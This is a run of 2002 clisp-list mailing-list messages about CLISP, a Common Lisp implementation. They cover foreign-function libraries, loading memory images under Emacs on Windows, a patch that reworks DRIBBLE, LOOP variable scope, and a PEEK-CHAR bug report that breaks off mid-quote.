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> * In message <8D3680004D2FD5118B510002B32C0FBE6EC39F@bebr3mx1.corp.emc.com>
> * On the subject of "[clisp-list] extensions/modules questions"
> * Sent on Wed, 27 Nov 2002 06:28:15 -0500
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>
> where can I find a comprehensive list of the extensions, bindings to
> external libs (like postgres, gtk, ...) available for CLISP.

did it occur to you to look at the documentation?
<http://clisp.cons.org/impnotes.html#included-modules>

> If I want to make a GUI using CLISP on windows, any suggestions?

gdi from Dan Stanger (see <ftp://ftp.gnu.org/pub/gnu/clisp/packages/>)

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> >  > It appears that the most recent version of ffcall, 1.8, dates back
> >  > to January 2001.  Whereas libffi is part of the gcc tree, and has
> >  > the possibility of being actively maintained by the gcc community.

... ffcall is part of the clisp tree and is actively maintained by the
clisp community.

The major differences between ffcall and libffi are:
  - License: ffcall is under GPL, libffi under LGPL.
  - Scope: ffcall does both the callouts to C and the callbacks from C,
    whereas libffi does only the callouts.
  - Functionality: ffcall also works for many simple 'struct' types.

Bruno


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I am thinking of porting one of the gui packages to MS windows.
I am leaning toward CLIM, but would also consider CLUE.
Any opinions on which one to work on?



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Date: Wed Nov 27 07:33:01 2002
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Hi,

I wrote:
>I doubt FFI is not included in any typical build of CLISP.
I have to correct myself: I forgot some of the compilation problems =
with ffcall mentioned by Will Newton et al.
No ffcall =3D> no FFI, thus there are builds of CLISP on UNIX without =
FFI.

However, Dan's gdi module should still work, since I've recently =
pointed out that modules do not necessarily depend upon the FFI.

An interesting(?) call for volunteer task could be:
	better integration of regexp into CLISP

a) it depends on the FFI
b) as such, it uses "1:1" C-style strings, whereas CLISP uses some UCS =
internally. The result for each call is character encoding conversion =
from CLISP's internal format to custom:*foreign-encoding* (probably =
iso-8859-1).
c) because of 1:1, it doesn't work with all supported encodings, e.g. =
not with Chineese, Korean or Japaneese ones
d) the API is not efficient at all (w.r.t. to multiple invocations), as =
I pointed out in April, subject "About speed, and regexp&FFI in =
particular".

The better regexp module could operate directly on CLISP strings, =
without encoding conversion and copying strings on the stack.

i) A version of the regexp code which operates on two-byte characters =
would integrate much better with CLISP.
ii) While doing so, the regexp interface could be turned into a "pure =
module", not needing the FFI (for howto see my module cookbook).

Problem areas:
1) I don't know whether the GNU/perl/xyz regexp code would have to be =
changed for this to work.
2) Furthermore, CLISP also uses some 7bit strings internally (e.g. on =
some constant symbols names): don't assume everything is UCS-2.

Of course, one could argue this is solely an optimization area (except =
for the 1:1 restriction). Time and effort might be better devoted to =
bringing new things to CLISP.

Difficulty: unassessed because of 1)
Interest/Fun factor: not assessed

Any comments?
Is sourceforge's task section a good place for these kinds of =
proposals?

Regards,
	J=F6rg H=F6hle.


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I've just installed CLISP 2.30 with EMACS following the Common LISP =
Cookbook guidelines. I've ported some code from MCL, and it appears to =
be working allright, but I'm encountering the following problem: If I =
dump an image using saveinitmem and try to load it into clisp under =
EMACS, I get the following error message:

READ from #<INPUT BUFFERED FILE-STREAM CHARACTER =
#P"C:\\home\\filename.mem" @1>: illegal character #\Null

Backtrace tells me: Character #\u2039 cannot be represented in the =
character set CHARSET:CP850.

All my functions and variables are now undefined, i.e the file failed to =
load.

When I load the image in CLISP proper (i.e. not using EMACS), everything =
works fine. I like to be able to load this file in EMACS, as I may want =
to add/change code to the image later (and this happens regularly, with =
the work I'm doing). I realise that this can be done in CLISP by loading =
the file with the new code, but it just seems rather inconvenient as =
CLISP itself doesn't quite give you the development environment that =
EMACS does, and it seems a bit silly to develop the code in an =
environment different from than the one you'll be using it in.

So, my question is:

Is this
A. Standard behaviour
B. Possible related to my setup
C. A bug

but, most importantly: how do I get around it?

I'm running CLISP 2.30 under winxp, as far as I know, all is set up =
according to the cookbook guidelines (no changes to EMACS either), and =
(so far) I'm not encountering any other problems. Any input is =
appreciated.

Cheers,

Dan.
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<DIV><FONT face=3DArial size=3D2>I've just installed CLISP 2.30 with =
EMACS following=20
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it=20
appears to be working allright, but I'm encountering the following =
problem: If I=20
dump an image using saveinitmem and try to load it into clisp under =
EMACS, I=20
get&nbsp;the following&nbsp;error message:</FONT></DIV>
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<DIV><FONT face=3DArial size=3D2>READ from #&lt;INPUT BUFFERED =
FILE-STREAM CHARACTER=20
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<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Backtrace tells me:</FONT>&nbsp;<FONT =
face=3DArial=20
size=3D2>Character #\u2039 cannot be represented in the character set=20
CHARSET:CP850.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>All my functions and variables are now =
undefined,=20
i.e the file failed to load.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>When I&nbsp;load the image in CLISP =
proper (i.e.=20
not using EMACS), everything works fine. I like to be able to load this =
file in=20
EMACS,&nbsp;as I may want to add/change code to the image later (and =
this=20
happens regularly, with the work I'm doing). I realise that this can be =
done in=20
CLISP by loading the file with the new code, but it just seems rather=20
inconvenient as CLISP itself doesn't quite give you the development =
environment=20
that EMACS does, and it seems a bit silly to develop the code in an =
environment=20
different from than the one you'll be using it in.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>So, my question is:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Is this</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>A. Standard behaviour</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>B. Possible related to my =
setup</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>C. A bug</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>but, most importantly: how do I get =
around=20
it?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I'm running CLISP 2.30 under winxp, as =
far as I=20
know, all is set up according to the cookbook guidelines (no changes to =
EMACS=20
either), and (so far) I'm not encountering any other problems. Any input =
is=20
appreciated.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Cheers,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Dan.</FONT></DIV></BODY></HTML>

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Dan wrote:

>but I'm encountering the following problem: If I dump an image using =
saveinitmem
>and try to load it into clisp under EMACS, I get the following error =
message:
=20
>READ from #<INPUT BUFFERED FILE-STREAM CHARACTER =
#P"C:\\home\\filename.mem" @1>: >illegal character #\Null

The error message shows that CLISP is not loading an image file, but =
attempts to READ a Lisp (or .fas) file.

You probably got your -M option wrong.

When loading images, CLISP uses the OS' read() etc., so no message =
about (Lisp)READ  from the file #P"foo.mem" can appear.

Did you try and execute ...\lisp.exe -M C:\home\filename.mem -B xxx/ =
-E... ?

Regards,
	J=F6rg H=F6hle.


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Joerg,

Thanks for your reply. I think I didn't make myself completely clear (or I
am misunderstanding you), but the problem is not that CLISP won't open the
file. Image files are associated with CLISP. When I doubleclick an image,
CLISP loads it without any problem (no switches necessary). However, when I
try to load the file in EMACS, with CLISP as an inferior  LISP, I get this
error message. And I don't think there are any switches associated with LOAD
in EMACS (but I may be wrong). So, the strange thing from my viewpoint is
that CLISP itself can open the image, unless you open it in EMACS running
CLISP as an inferior LISP.  And since I want to be able to change the code
in the image, it would be nice to load it from EMACS since that has the
development utilities.

Dan.

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Dan wrote:

>but I'm encountering the following problem: If I dump an image using
saveinitmem
>and try to load it into clisp under EMACS, I get the following error
message:

>READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"C:\\home\\filename.mem"
@1>: >illegal character #\Null

The error message shows that CLISP is not loading an image file, but
attempts to READ a Lisp (or .fas) file.

You probably got your -M option wrong.

When loading images, CLISP uses the OS' read() etc., so no message about
(Lisp)READ  from the file #P"foo.mem" can appear.

Did you try and execute ...\lisp.exe -M C:\home\filename.mem -B xxx/ -E... ?

Regards,
Jörg Höhle.



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Hi!

I'm out of town until Nov 30th.  Although I will
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If you have a lab issues that requires immediate 
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In case of personal emergency, please contact
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Dan,

Emacs should be as capable as anything else to open CLISP with =
arbitrary images. Your problem seems to be one of switches not well =
set, as CLISP wants to read your .mem as a Lisp file (as if -M was =
missing or somehow wrong). You could try in Emacs to (debug-on-entry =
'start-process) et al. to see how it invokes CLISP: you'd soon see =
what's wrong.

Beware of spaces in directory names and the problems with shell quoting =
that arise from that, but that doesn't seem to be your problem.

Here's some stuff of mine (using FSF-Emacs 20.7.1):

(defvar lisp-program-choices '())
(setq lisp-program-choices
  '(("oaklisp-98" . =
"D:\\hoehle/Code/Oaklisp/Oak98-alex/WINNT/Oak98AS/emulator.exe =
D:\\hoehle/Code/Oaklisp/Oak93/lib/oaklisp.loc")
    ("clisp-2.28" . "H:/sspace/src/clisp-2.28/src/lisp.exe -M =
H:/sspace/src/clisp-2.28/src/lispinit.mem -B H:/sspace/src/clisp-2.28 =
-Efile UTF-8")
    ;;Problem: Emacs/4GW doesn't detect when process terminates
    ;;dos32\dos4gw dos32\emu_dos.exe worlds\oaklisp.loc
    ("oaklisp-dos4gw" . =
"C:\\Programme\\Oaklisp\\Oak98\\dos32\\dos4gw.exe =
C:\\Progra~1\\Oaklisp\\Oak98\\dos32\\emu_dos.exe =
C:\\Progra~1\\Oaklisp\\Oak98\\worlds\\Oaklisp.loc")
    ("jscheme" . "java -cp h:/sspace/archive/jscheme.jar jscheme.REPL")
    ("kawa" . "java -classpath h:/sspace/archive/kawa-1.6.98.jar =
kawa.repl")
    ("kawa-1.6.99.1" . "java -classpath =
h:/sspace/archive/kawa-1.6.99.1.jar kawa.repl")
    ("brl"  . "java -classpath =
h:/sspace/archive/kawa-1.6.97.1brl.jar;h:/sspace/archive/brl-2.1.30.jar =
kawa.repl -f h:/www/Redakteur/brls/brl-global.scm --")
    ("clisp-2.28-modules" . "H:/sspace/src/clisp-2.28/src/lispm.exe -M =
H:/sspace/src/clisp-2.28/src/lispinit.mem -B H:/sspace/src/clisp-2.28 =
-Efile UTF-8")
    ("clisp-2.28-regexp" . "H:/sspace/src/clisp-2.28/src/lispr.exe -M =
H:/sspace/src/clisp-2.28/src/lispinit.mem -B H:/sspace/src/clisp-2.28 =
-Efile UTF-8")
    ("clisp-2.28-dynload" . "H:/sspace/src/clisp-2.28/src/lispd.exe -M =
H:/sspace/src/clisp-2.28/src/lispinit.mem -B H:/sspace/src/clisp-2.28 =
-Efile UTF-8 -Eterminal ISO-8859-1")
    ("clisp-2.28-gdi" . "H:/sspace/src/clisp-2.28/src/lispg.exe -M =
H:/sspace/src/clisp-2.28/src/lispinit.mem -B H:/sspace/src/clisp-2.28 =
-Efile UTF-8 -i H:/Code/gdi/gdi.fas")
    ("clisp-2.27" . "C:\\Programme\\CLISP\\clisp-2.27\\lisp.exe -I -B =
C:\\Programme\\CLISP\\clisp-2.27\\ -M =
C:\\Programme\\CLISP\\clisp-2.27\\lispinit.mem -L francais")))

(defun choose-lisp (program)
  (interactive
   (list (cdr (assoc (completing-read "Run Lisp: " lisp-program-choices =
nil t)
		     lisp-program-choices))))
  (run-lisp program))

This is using inf-lisp.el, not ILISP. I've had some strong bias against =
ILISP in the early ninetees, and no time to re-evaluate it. My gripes =
where about UI-aspects, e.g. the obtrusive popper windows and other =
things. OTOH, it's far more advanced than the basic (good ol') =
inf-lisp.el, e.g. featuring multiple sessions, packages.

Regards,
	J=F6rg H=F6hle.


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  edi@bird:/tmp > clisp
    i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
    I I I I I I I      8     8   8           8     8     o  8    8
    I  \ `+' /  I      8         8           8     8        8    8
     \  `-+-'  /       8         8           8      ooooo   8oooo
      `-__|__-'        8         8           8           8  8
          |            8     o   8           8     o     8  8
    ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

  Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
  Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
  Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
  Copyright (c) Bruno Haible, Sam Steingold 1999-2002

  ;; Loading file /home/edi/.clisp.lisp ...
  ;;  Loading file /usr/local/lisp/defsystem.fas ...
  ;;  Loaded file /usr/local/lisp/defsystem.fas
  ;; Loaded file /home/edi/.clisp.lisp
  [1]> (dribble "foo")
  #<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"foo" @1>
  [2]> (/ 1 0)

  *** - division by zero
  1. Break [3]> (dribble)
  #<CLOSED OUTPUT BUFFERED FILE-STREAM CHARACTER #P"foo" @1>
  1. Break [3]> :a


  *** - The value of SYSTEM::*DRIBBLE-STREAM* is not a stream: NIL
  1. Break [5]> (quit)

  *** - The value of SYSTEM::*DRIBBLE-STREAM* is not a stream: NIL
  1. Break [6]>

I don't think this is a bug but I'd say it is a bit
uncomfortable. CMUCL shows the same behaviour, LispWorks - on
executing (DRIBBLE) - will automatically take you back to the top
level while AllegroCL just carries on without problems - I think this
is done by setting EXCL::*DRIBBLE-ACTIVE* to NIL.

I prefer ACL's behaviour and think it would be worthwhile to add it to
CLISP.

Cheers,
Edi.


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> * In message <87vg2lnvoz.fsf@thelonious.dyndns.org>
> * On the subject of "[clisp-list] make-pathname question"
> * Sent on 25 Nov 2002 17:14:36 -0500
> * Honorable Russell McManus <russell_mcmanus@yahoo.com> writes:
>
> Should make-pathname support :type :unspecific ?

no, we do not have to.
see 19.2.2.2.3 and 19.2.2.2.3.1.

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> * In message <87bs461whs.fsf@bird.agharta.de>
> * On the subject of "[clisp-list] (DRIBBLE) in debugger"
> * Sent on 01 Dec 2002 00:14:07 +0100
> * Honorable Edi Weitz <edi@agharta.de> writes:
>
>   edi@bird:/tmp > clisp
>   [1]> (dribble "foo")
>   #<OUTPUT BUFFERED FILE-STREAM CHARACTER #P"foo" @1>
>   [2]> (/ 1 0)
> 
>   *** - division by zero
>   1. Break [3]> (dribble)
>   #<CLOSED OUTPUT BUFFERED FILE-STREAM CHARACTER #P"foo" @1>
>   1. Break [3]> :a
> 
> 
>   *** - The value of SYSTEM::*DRIBBLE-STREAM* is not a stream: NIL
>   1. Break [5]> (quit)
> 
>   *** - The value of SYSTEM::*DRIBBLE-STREAM* is not a stream: NIL
>   1. Break [6]>

this is because debug loop binds i/o stream vars which interferes with
dribble "bindings".
basically, starting and stopping dribble should be on the same debug
loop level.

> I don't think this is a bug but I'd say it is a bit
> uncomfortable. CMUCL shows the same behaviour, LispWorks - on
> executing (DRIBBLE) - will automatically take you back to the top

this is not hard to go - just do (UNWIND-TO-DRIVER T) at the beginning
of DRIBBLE.
personally, I would find this behavior inconvenient.

> level while AllegroCL just carries on without problems - I think this
> is done by setting EXCL::*DRIBBLE-ACTIVE* to NIL.
> 
> I prefer ACL's behaviour and think it would be worthwhile to add it to
> CLISP.

Instead of the current (quite complicated) implementation, we could
just check SYS::*DRIBBLE-STREAM* whenever a stream action is done on a
strmtype_terminal and act appropriately on SYS::*DRIBBLE-STREAM*.
This will not be too hard to implement.
The drawback is some (probably negligible) slowdown of terminal i/o
(which should not be too important since people generally do not use
terminal to do much i/o).

Bruno, what do you think?

Edi, are you prepared to check out the CVS head and test this change?

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Sam Steingold <sds@gnu.org> writes:

> Edi, are you prepared to check out the CVS head and test this
> change?

Yep, would be OK with me if you allow for short delays (maybe one to
three days - sometimes I'm quite busy with other things). Let me know
when there's something to test.

Cheers,
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Sam Steingold <sds@gnu.org> writes:

> > * In message <87vg2lnvoz.fsf@thelonious.dyndns.org>
> > * On the subject of "[clisp-list] make-pathname question"
> > * Sent on 25 Nov 2002 17:14:36 -0500
> > * Honorable Russell McManus <russell_mcmanus@yahoo.com> writes:
> >
> > Should make-pathname support :type :unspecific ?
> 
> no, we do not have to.
> see 19.2.2.2.3 and 19.2.2.2.3.1.

You are correct, I should have read the hyperspec more carefully.  I
missed this section, actually.

-russ



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Subject: Re: [clisp-list] open .mem file in emacs (windows) 
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Date: Mon Dec  2 08:22:45 2002
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"Daniel Freudenthal" <df@psychology.nottingham.ac.uk> wrote:

> And since I want to be able to change the code
> in the image, it would be nice to load it from EMACS since that has the
> development utilities.

     Are you actually trying to load the .mem file into Emacs, or are
you trying to load the .mem file into clisp, which is running under
Emacs?  It sounds like you're trying to do the former.

     Is it even possible to edit a .mem file like a text file and have the
result be loadable by clisp, binary character issues aside???.  I'd be
really surprised if you can.  Assuming that you're attempting to do
that, this error implies that you're running into character set issues:

Backtrace tells me: Character #\u2039 cannot be represented in the character set CHARSET:CP850.

(Basically, the binary .mem file contains a byte sequence that cannot be
represented using CHARSET:CP850.)

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Daniel Freudenthal wrote:
>I wrote a small
>function which changes the clisp-hs-program variable to the image to =
be
>loaded, and added that to .emacs.

> Invoking this function from the shell
>changes the image to be loaded, and when you then start CLISP,=20
>it opens the correct image.
That's what you do? Start CLISP interactively from a shell? No M-x =
run-lisp?

> For the novice the solution seems
>somewhat roundabout

I'm unclear about what you're trying to do. Examples would help here I =
presume.
Emacs or CLISP variables and functions?

But if your goal is to set a couple of *foo* variables of CLISP, you =
could have a look at .clisprc (though I never used that) which can be =
loaded everytime CLISP starts up.

The section in the CLISP manual explaining how to change config.lisp, =
dump an image (savemem or saveinitmem) and use it predates by far the =
.clisprc feature. Choose whatever pleases you.

Regards,
	J=F6rg H=F6hle.


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I am not sure if this is a known bug or its been fixed in the current cvs,
but:
On MS Windows 2000, loading garnet with Clisp version 2.30,i
I and another user get the following error:

*** - STRING=: argument #P".lisp" should be a string, a symbol or a character
This problem is coming from load, from the following form.

               ;; File with precisely this name not present.
               ;; Search among the files the most recent one
               ;; with the same name and the Extensions "LISP", "FAS"
               (let ((present-files
                      (search-file filename
(progn (print extra-file-types) (print *compiled-file-types*)
(print *source-file-types*)
                                   (append extra-file-types
                                           *compiled-file-types*
                                           *source-file-types*))))))

Where *source-file-types* has the value (#P".lisp" "lisp" "lsp" "cl").
This is around line 1270 in init.lisp.
Does this problem jog anyones memory, and if so, was there a patch?
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> * In message <E18Izb9-0001lG-00@mantis.privatei.com>
> * On the subject of "[clisp-list] load error"
> * Sent on Mon, 2 Dec 2002 16:03:31 -0700 (MST)
> * Honorable dan.stanger@ieee.org writes:
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> Where *source-file-types* has the value (#P".lisp" "lisp" "lsp" "cl").

search your sources for a form that modifies *SOURCE-FILE-TYPES* and
fix it.
See <http://clisp.cons.org/impnotes/system.html#loadfile>.

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> * In message <3DEC14FC.15687B58@ieee.org>
> * On the subject of "Re: [clisp-list] load error"
> * Sent on Mon, 02 Dec 2002 19:20:45 -0700
> * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
>
> Shouldn't it be possible to push a pathname on to source-file-types?

file type is a string, not a pathname.

> Also this behaviour changed from 2.28 where it worked to 2.30 where it doesn't.

indeed, see the NEWS file.

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Is there any place in HyperSpec  where the scope of the loop variables
is specified?


Consider this loop:

    (loop for ai in a
          for bi in b
          while (eq ai bi)
          finally return (any-lessp ai bi))

In emacs, it  works as expected, but in clisp, we  get this error: "BI
is  neither declared  nor bound,  it  will be  treated as  if it  were
declared SPECIAL." because ai and  bi are not available in the finally
clauses.

Obviously, I expected a loop similar to:

    (do* ( (ap a (cdr ap))
           (ai (car ap) (car ap))
           (bp b (cdr bp)) 
           (bi (car bp) (car bp)) )
        ( (not (and ai bi (eq ai bi)))
          (any-lessp ai bi) )
       )

Since the lists may be of different length, we may be left with no ai,
but still have a bi, and one could  want to be able to process it in a
finally clause, like in with the do* loop.

What's  more, with this  short scope  currently implemented  in clisp,
it's not possible to know what list ended first, so the loop construct
becomes quite impractical.

Could this be considered a defect in the loop implementation of clisp?


(show (macroexpand (quote 

      (loop for ai in a
            for bi in b
            while (eq ai bi)
            finally return (any-lessp ai bi))

            )))


emacs:

(cl-block-wrapper 
 (catch (quote --cl-block-nil--) 
   (let* ((G419505 a)
          (ai nil)
          (G419506 b)
          (bi nil))
     (while (and (consp G419505)
                 (progn (setq ai (car G419505))
                        (consp G419506))
                 (progn (setq bi (car G419506))
                        (eq ai bi)))
       (setq G419505 (cdr G419505))
       (setq G419506 (cdr G419506)))
     (any-lessp ai bi))))



clisp:

(MACROLET ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-ERROR)))
 (BLOCK NIL
  (LET NIL
   (LET ((#:G554 A))
    (PROGN
     (LET ((AI NIL))
      (LET ((#:G555 NIL))
       (MACROLET ((LOOP-FINISH NIL '(GO SYSTEM::END-LOOP)))
        (TAGBODY (PROGN (SETQ #:G555 B)) SYSTEM::BEGIN-LOOP
         (PROGN (WHEN (ENDP #:G554) (LOOP-FINISH)) (SETQ AI (CAR #:G554)))
         (PROGN (WHEN (ENDP #:G555) (LOOP-FINISH))
          (LET ((BI (CAR #:G555))) (PROGN (UNLESS (EQ AI BI) (LOOP-FINISH)))))
         (PROGN (PSETQ #:G554 (CDR #:G554)) (PSETQ #:G555 (CDR #:G555)))
         (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP
         (MACROLET
          ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-WARN) '(GO SYSTEM::END-LOOP)))
          (RETURN-FROM NIL (ANY-LESSP AI BI))))))))))))



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> Instead of the current (quite complicated) implementation, we could
> just check SYS::*DRIBBLE-STREAM* whenever a stream action is done on a
> strmtype_terminal and act appropriately on SYS::*DRIBBLE-STREAM*.
> This will not be too hard to implement.
> The drawback is some (probably negligible) slowdown of terminal i/o
> (which should not be too important since people generally do not use
> terminal to do much i/o).

instead I decided that DRIBBLE will change *TERMINAL-IO* (which is not
bound by any other routine).
now you can make a DRIBBLE-STREAM for any i/o stream FOO using
the same idiom:

(setq foo
      (make-dribble-stream foo
                           (open "dribble-file" ...)))

and then restore FOO using

(setq foo (dribble-stream-source foo))

please stress-test this patch.

thanks.

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Index: src/savemem.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/src/savemem.lisp,v
retrieving revision 1.15
diff -u -w -b -r1.15 savemem.lisp
--- src/savemem.lisp	4 Jun 2002 18:46:54 -0000	1.15
+++ src/savemem.lisp	3 Dec 2002 17:15:08 -0000
@@ -55,7 +55,6 @@
                      *condition-restarts* nil
                      *command-index* 0
                      *home-package* nil)
-               (dribble-reset)
                (setq *driver* old-driver)
                (when init-function (funcall init-function))
                (funcall *driver*))))
Index: src/dribble.lisp
===================================================================
RCS file: /cvsroot/clisp/clisp/src/dribble.lisp,v
retrieving revision 1.4
diff -u -w -b -r1.4 dribble.lisp
--- src/dribble.lisp	2 Dec 2002 00:38:10 -0000	1.4
+++ src/dribble.lisp	3 Dec 2002 17:15:08 -0000
@@ -1,86 +1,54 @@
 ;;;; Dribble
 
+(in-package "EXT")
+(export '(make-dribble-stream dribble-stream-p dribble-stream
+          dribble-stream-source dribble-stream-target))
+
 (in-package "SYSTEM")
 
 ;;-----------------------------------------------------------------------------
 ;; DRIBBLE
 
-;; The use of an intermediate synonym-stream is for robustness.
-;; (Just try dribbling to a file on a full disk partition...)
-(defvar *dribble-stream* nil)
+(defun make-dribble-stream (source target)
+  (make-two-way-stream (make-echo-stream source target)
+                       (make-broadcast-stream source target)))
+(defun dribble-stream-p (stream)
+  (and (sys::two-way-stream-p stream)
+       (let ((in (two-way-stream-input-stream stream))
+             (out (two-way-stream-output-stream stream)))
+         (and (sys::echo-stream-p in) (sys::broadcast-stream-p out)
+              (let ((so (echo-stream-input-stream in))
+                    (ta (echo-stream-output-stream in))
+                    (bl (broadcast-stream-streams out)))
+                (and (eq so (pop bl))
+                     (eq ta (pop bl))))))))
+(deftype dribble-stream () '(satisfies dribble-stream-p))
+(defun dribble-stream-source (ds)
+  (check-type ds dribble-stream)
+  (echo-stream-input-stream (two-way-stream-input-stream ds)))
+(defun dribble-stream-target (ds)
+  (check-type ds dribble-stream)
+  (echo-stream-output-stream (two-way-stream-input-stream ds)))
 
-(let ((dribble-file nil) (dribbled-input nil) (dribbled-output nil)
-      (dribbled-error-output nil) (dribbled-trace-output nil)
-      (dribbled-query-io nil) (dribbled-debug-io nil))
-  (defun dribble-reset ()
-    (setq dribble-file nil dribbled-input nil dribbled-output nil
-          dribbled-error-output nil dribbled-trace-output nil
-          dribbled-query-io nil dribbled-debug-io nil
-          *dribble-stream* nil))
   (defun dribble (&optional file)
-    (if file
-      (if dribble-file
-        (warn (TEXT "Already dribbling to ~S") *dribble-stream*)
-        ;; Dribbling means to redirect all screen output to the file.
-        ;; We redirect all standard streams. More precisely, those
-        ;; which are #<SYNONYM-STREAM *TERMINAL-IO*>. Those which are
-        ;; synonyms to other standard streams indirectly referring
-        ;; to #<SYNONYM-STREAM *TERMINAL-IO*> are not redirected,
-        ;; because that would cause each output to this stream to
-        ;; be written twice to the dribble-file.
-        (labels ((goes-to-terminal (stream) ; this is a hack
-                   (and (typep stream 'synonym-stream)
-                        (eq (synonym-stream-symbol stream) '*terminal-io*)))
-                 (goes-indirectly-to-terminal (stream) ; an even bigger hack
-                   (and (typep stream 'synonym-stream)
-                        (let ((sym (synonym-stream-symbol stream)))
-                          (and (boundp sym)
-                               (let ((stream (symbol-value sym)))
-                                 (or (goes-to-terminal stream)
-                                     (goes-indirectly-to-terminal
-                                      stream))))))))
-          (setq *dribble-stream* (open file :direction :output
+  (if (dribble-stream-p *terminal-io*)
+    (if file                    ; already dribbling
+      (warn (TEXT "Already dribbling to ~S")
+            (dribble-stream-target *terminal-io*))
+      (let ((so (dribble-stream-source *terminal-io*))
+            (ta (dribble-stream-target *terminal-io*)))
+        (setq *terminal-io* so)
+        (write-string (TEXT ";; Dribble finished ") ta)
+        (funcall (date-format) ta (multiple-value-list (get-decoded-time)))
+        (terpri ta) (close ta)
+        ta))
+    (if file                    ; not dribbling
+      (let ((ta (open file :direction :output
                                        :if-exists :append
-                                       :if-does-not-exist :create)
-                dribble-file (make-synonym-stream '*dribble-stream*))
-          (write-string (TEXT ";; Dribble started ") *dribble-stream*)
-          (funcall (date-format) *dribble-stream*
-                   (multiple-value-list (get-decoded-time)))
-          (terpri *dribble-stream*)
-          (macrolet ((save (glo loc type)
-                       `(if (goes-indirectly-to-terminal ,glo)
-                          (setq ,loc nil)
-                          (setq ,loc ,glo
-                                ,glo
-                                ,(ecase type
-                                   (:in `(make-echo-stream
-                                          ,glo dribble-file))
-                                   (:out `(make-broadcast-stream
-                                           ,glo dribble-file))
-                                   (:io `(make-two-way-stream
-                                          (make-echo-stream ,glo dribble-file)
-                                          (make-broadcast-stream
-                                           ,glo dribble-file))))))))
-            (save *standard-input*  dribbled-input        :in)
-            (save *standard-output* dribbled-output       :out)
-            (save *error-output*    dribbled-error-output :out)
-            (save *trace-output*    dribbled-trace-output :out)
-            (save *query-io*        dribbled-query-io     :io)
-            (save *debug-io*        dribbled-debug-io     :io))
-          *dribble-stream*))
-      (if dribble-file
-        (macrolet ((restore (loc glo) `(when ,loc (setq ,glo ,loc ,loc nil))))
-          (restore dribbled-input        *standard-input*)
-          (restore dribbled-output       *standard-output*)
-          (restore dribbled-error-output *error-output*)
-          (restore dribbled-trace-output *trace-output*)
-          (restore dribbled-query-io     *query-io*)
-          (restore dribbled-debug-io     *debug-io*)
-          (setq dribble-file nil)
-          (write-string (TEXT ";; Dribble finished ") *dribble-stream*)
-          (funcall (date-format) *dribble-stream*
-                   (multiple-value-list (get-decoded-time)))
-          (terpri *dribble-stream*)
-          (close *dribble-stream*)
-          (prog1 *dribble-stream* (setq *dribble-stream* nil)))
-        (warn (TEXT "Currently not dribbling."))))))
+                      :if-does-not-exist :create)))
+        (write-string (TEXT ";; Dribble started ") ta)
+        (funcall (date-format) ta (multiple-value-list (get-decoded-time)))
+        (terpri ta)
+        (setq *terminal-io* (make-dribble-stream *terminal-io* ta))
+        ta)
+      (warn (TEXT "Currently not dribbling.")))))


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> * In message <20021203084136.2C4AC23409@thalassa.informatimago.com>
> * On the subject of "[clisp-list] scope in loops"
> * Sent on Tue,  3 Dec 2002 09:41:36 +0100 (CET)
> * Honorable Pascal Bourguignon <pjb@informatimago.com> writes:
>
> Is there any place in HyperSpec where the scope of the loop variables
> is specified?

no.  it has been discussed in c.l.l and the consensus appeared to be
that the iteration variables will not necessarily exist inside finally
clauses.

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please try the appended patch

> * In message <3DDE9F9B.5020807@attbi.com>
> * On the subject of "[clisp-list] Possible bug: PEEK-CHAR advances file pointer"
> * Sent on Fri, 22 Nov 2002 15:20:27 -0600
> * Honorable Bob Bechtel <rbechtel@attbi.com> writes:
>
> I'm not sure this is a bug -- it may be a question of CL Spec
> interpretation.  Here's the bug data:
> 
> 1. Platform: Windows 2000, SP2. Hardware is P4, 512M.
> 2-4. I'm using a binary distribution, clisp-2.30-win32.zip. I may be
> able to rebuild from sources, but would prefer to wait until this is
> confirmed as an error, rather than just a permissible CL spec
> interpretation.
> 5. lisp --version
> GNU CLISP 2.30 (released 2002-09-15) (built 2002-09-15 11:22:41)
> Features: (CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
> GENERIC-STREAMS
>  LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER SYSCALLS
>  DIR-KEY PC386
>  WIN32)
> 6. Example...
> 
> I did (setf bbna (merge-pathnames "I.NEX")) to get a pathname to an
> existing file.  Then
> 
> [10]> (with-open-file (foo bbna)
> (format t "~%Current file position = ~A~%"
> (file-position foo))
> (format t "PEEK-CHAR gets ~C~%" (peek-char nil foo))
> (format t "File position is now ~A~%" (file-position foo))
> (format t "Second PEEK-CHAR gets ~C~%" (peek-char nil foo))
> (format t " while making file position ~A~%"
> (file-position foo)))
> 
> Current file position = 0
> PEEK-CHAR gets i
